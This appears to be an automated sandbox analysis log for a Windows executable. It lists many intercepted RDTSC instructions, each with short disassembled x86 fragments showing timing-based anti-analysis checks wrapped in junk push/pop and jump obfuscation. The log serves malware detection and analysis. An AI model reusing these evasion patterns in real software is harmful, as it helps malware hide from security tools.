Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFAD7 second address: 3CFAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCDDCF97D16h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D608D second address: 3D6091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6091 second address: 3D60A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D20h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60A7 second address: 3D60B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCDDCC991DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60B1 second address: 3D60B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60B9 second address: 3D60BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D49FB second address: 3D49FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D49FF second address: 3D4A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4A0A second address: 3D4A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4A10 second address: 3D4A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4A16 second address: 3D4A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D1Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c jmp 00007FCDDCF97D21h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 jmp 00007FCDDCF97D1Dh 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d jg 00007FCDDCF97D1Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 jc 00007FCDDCF97D16h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4CF0 second address: 3D4CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381F92 second address: 381F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381F96 second address: 381FFF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 or ecx, dword ptr [ebp+122D387Eh] 0x0000000e mov ebx, dword ptr [ebp+12486172h] 0x00000014 jmp 00007FCDDCC991E8h 0x00000019 jno 00007FCDDCC991D7h 0x0000001f add eax, ebx 0x00000021 cld 0x00000022 nop 0x00000023 jmp 00007FCDDCC991E7h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007FCDDCC991E4h 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381FFF second address: 38205C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FCDDCF97D18h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D36F2h] 0x00000029 push 00000004h 0x0000002b adc ch, 0000004Fh 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jmp 00007FCDDCF97D26h 0x00000037 jmp 00007FCDDCF97D1Ch 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBC8D second address: 3DBCA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DAh 0x00000007 ja 00007FCDDCC991D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBCA1 second address: 3DBCA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBCA9 second address: 3DBCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DBDF6 second address: 3DBE00 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCDDCF97D1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD436 second address: 3DD43A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD43A second address: 3DD440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD440 second address: 3DD445 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD445 second address: 3DD44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD44B second address: 3DD46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jl 00007FCDDCC991D6h 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCDDCC991DFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD7CA second address: 3DD7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jbe 00007FCDDCF97D35h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E58FF second address: 3E5905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5905 second address: 3E592A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D21h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FCDDCF97D3Fh 0x00000011 jp 00007FCDDCF97D26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4A42 second address: 3E4A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4FFC second address: 3E5002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5340 second address: 3E5345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5345 second address: 3E534A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E534A second address: 3E535F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 push ecx 0x00000008 jmp 00007FCDDCC991DBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E535F second address: 3E5381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007FCDDCF97D3Eh 0x0000000d jmp 00007FCDDCF97D1Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007FCDDCF97D16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ECD63 second address: 3ECD67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB0F3 second address: 3EB0F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB0F9 second address: 3EB10B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FCDDCC991D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB797 second address: 3EB7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCF97D26h 0x00000009 jmp 00007FCDDCF97D1Bh 0x0000000e popad 0x0000000f jl 00007FCDDCF97D45h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCDDCF97D1Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB7D5 second address: 3EB7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB7D9 second address: 3EB7DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBC17 second address: 3EBC1F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBC1F second address: 3EBC31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007FCDDCF97D16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBDF7 second address: 3EBE0F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCDDCC991D6h 0x00000008 jmp 00007FCDDCC991DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBE0F second address: 3EBE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F37DC second address: 3F37E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCDDCC991D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F37E6 second address: 3F37EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F632A second address: 3F632E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F632E second address: 3F6358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D22h 0x00000007 jmp 00007FCDDCF97D20h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4018D1 second address: 4018D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4018D7 second address: 4018F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FCDDCF97D22h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403BE8 second address: 403BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCDDCC991D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4036F3 second address: 4036F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4036F9 second address: 4036FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4036FF second address: 40373C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Fh 0x00000007 jmp 00007FCDDCF97D25h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCDDCF97D20h 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40373C second address: 403741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4038EB second address: 403909 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007FCDDCF97D16h 0x00000009 jmp 00007FCDDCF97D21h 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BDA3 second address: 40BDB3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCDDCC991D6h 0x00000008 jnl 00007FCDDCC991D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BDB3 second address: 40BDC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40BDC2 second address: 40BDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EAF7 second address: 40EAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EAFE second address: 40EB05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EB05 second address: 40EB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FCDDCF97D29h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EB28 second address: 40EB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jng 00007FCDDCC991DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347016 second address: 347050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007FCDDCF97D16h 0x00000010 jmp 00007FCDDCF97D22h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41836B second address: 418371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418371 second address: 418375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418375 second address: 418379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41CE18 second address: 41CE2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCDDCF97D1Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41CE2B second address: 41CE35 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCDDCC991D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D11B second address: 41D11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D11F second address: 41D123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D123 second address: 41D12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41D12F second address: 41D133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41E21C second address: 41E22D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 431910 second address: 431916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432EC5 second address: 432EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FCDDCF97D27h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432EE1 second address: 432EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432EE6 second address: 432EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCDDCF97D16h 0x0000000a popad 0x0000000b jbe 00007FCDDCF97D1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432EF9 second address: 432F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnp 00007FCDDCC991D6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434695 second address: 4346A1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCDDCF97D1Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4421A2 second address: 4421A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4421A6 second address: 44220C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FCDDCF97D16h 0x00000009 jg 00007FCDDCF97D16h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FCDDCF97D28h 0x0000001a jmp 00007FCDDCF97D26h 0x0000001f jmp 00007FCDDCF97D24h 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 pushad 0x00000028 jp 00007FCDDCF97D18h 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459993 second address: 45999B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45999B second address: 4599A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A1FD second address: 45A21D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A21D second address: 45A221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A221 second address: 45A22D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCDDCC991D6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A22D second address: 45A246 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D23h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E8B7 second address: 45E8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E8BC second address: 45E8CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCF97D1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E8CF second address: 45E8D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E8D3 second address: 45E938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007FCDDCF97D22h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FCDDCF97D18h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a pushad 0x0000002b js 00007FCDDCF97D1Ch 0x00000031 mov dword ptr [ebp+1245EEAAh], eax 0x00000037 mov edx, dword ptr [ebp+122D1BCEh] 0x0000003d popad 0x0000003e push 00000004h 0x00000040 sbb edx, 69BE1091h 0x00000046 push 2FDB940Fh 0x0000004b pushad 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f pop edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E938 second address: 45E93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45E93C second address: 45E940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460218 second address: 460223 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FCDDCC991D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3859DD second address: 3859E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930309 second address: 493030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 493030D second address: 4930313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
